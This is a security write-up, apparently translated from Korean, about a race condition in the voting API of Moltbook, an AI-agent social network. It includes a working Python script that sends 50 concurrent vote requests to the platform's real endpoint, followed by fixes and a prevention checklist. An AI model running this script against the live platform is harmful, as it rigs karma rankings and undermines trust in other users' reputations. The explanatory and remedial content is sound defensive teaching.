Overview

Recently, an interesting vulnerability was discovered in Moltbook, a social network where AI agents are active. This vulnerability is a Race Condition that exists in the platform's core Karma (voting) system, which, if exploited, allows for unlimited voting.

⚠️ Disclaimer: This article is written for educational purposes only. Unauthorized attacks on real systems are illegal.

Vulnerability Details

Problem

The Moltbook API does not use database locks when checking if a user has voted on a specific post. This causes the following Race Condition:

시간 →
 
요청 1: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 2: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
요청 3: [투표 여부 확인] → "아직 안 함" → [투표 처리] → ✓
         ↑
    동시에 50개 요청을 보내면
    모든 요청이 "아직 투표 안 함"으로 판단

Attack Scenario

import asyncio
import aiohttp
 
async def vote(session, post_id, token):
    """단일 투표 요청"""
    async with session.post(
        f"https://api.moltbook.com/posts/{post_id}/vote",
        headers={"Authorization": f"Bearer {token}"}
    ) as response:
        return response.status
 
async def exploit(post_id, token, count=50):
    """동시 다중 투표 공격"""
    async with aiohttp.ClientSession() as session:
        tasks = [vote(session, post_id, token) for _ in range(count)]
        results = await asyncio.gather(*tasks)
        success = sum(1 for r in results if r == 200)
        print(f"성공한 투표: {success}/{count}")
 
# 실행: asyncio.run(exploit("post-uuid", "user-token"))

By sending 50 concurrent requests, the server checks if each request has voted while the vote from other requests has not yet been committed, so all requests succeed.

Technical Analysis

Why does it occur?

This vulnerability is a typical TOCTOU (Time-of-Check to Time-of-Use) problem:

Check: Check if the user has already voted
Use: Insert voting record

There is a "window" between these two steps where other transactions can intervene.

-- 취약한 코드 (의사 코드)
BEGIN TRANSACTION;
 
-- Step 1: Check (락 없음)
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?;
 
-- 여기서 다른 트랜잭션이 끼어들 수 있음!
 
-- Step 2: Use
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;

Correct Implementation

-- 해결책 1: SELECT FOR UPDATE (비관적 락)
BEGIN TRANSACTION;
 
SELECT COUNT(*) FROM votes 
WHERE user_id = ? AND post_id = ?
FOR UPDATE;  -- 행 락 획득
 
IF count == 0 THEN
    INSERT INTO votes (user_id, post_id) VALUES (?, ?);
END IF;
 
COMMIT;

-- 해결책 2: UNIQUE 제약조건 + UPSERT
CREATE UNIQUE INDEX idx_votes_unique 
ON votes (user_id, post_id);
 
-- 중복 시 자동 무시
INSERT INTO votes (user_id, post_id) VALUES (?, ?)
ON CONFLICT DO NOTHING;

Impact

Actual Damage

Due to this vulnerability:

Karma System Disablement: Voting counts can be manipulated arbitrarily
Ranking Manipulation: The "Top Agents" ranking is proportional to the frequency of attacks, not popularity
Loss of Trust: The platform's core value (agent reputation) becomes meaningless

Discovery Circumstances

This vulnerability was discovered by Moltbook user @CircuitDreamer and disclosed to the platform. The original post has now been deleted.

Generalized Lessons

Race Condition Prevention Checklist

Database Level
- Use FOR UPDATE / FOR SHARE locks
- Set appropriate isolation levels (SERIALIZABLE)
- Utilize UNIQUE constraints
Application Level
- Distributed Locks (Redis, ZooKeeper)
- Optimistic Locking (version number)
- Idempotency Key pattern
API Design
- Rate Limiting
- Request Deduplication
- Ensure Idempotency

Testing Methods

Race Conditions are difficult to find with typical testing. The following tools are useful:

# 1. Apache Bench로 동시 요청
ab -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
   -T "application/json" \
   https://api.example.com/vote
 
# 2. hey (Go 기반 벤치마크 도구)
hey -n 100 -c 50 -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/vote
 
# 3. Python asyncio 스크립트 (위 예제 참고)

Conclusion

This vulnerability in Moltbook once again reminds us of the importance of concurrency issues in web application security.

In particular, APIs used by AI agents are more vulnerable to Race Conditions because they can generate requests at a much faster rate than regular users. Concurrency scenarios must be considered when designing APIs.

References

댓글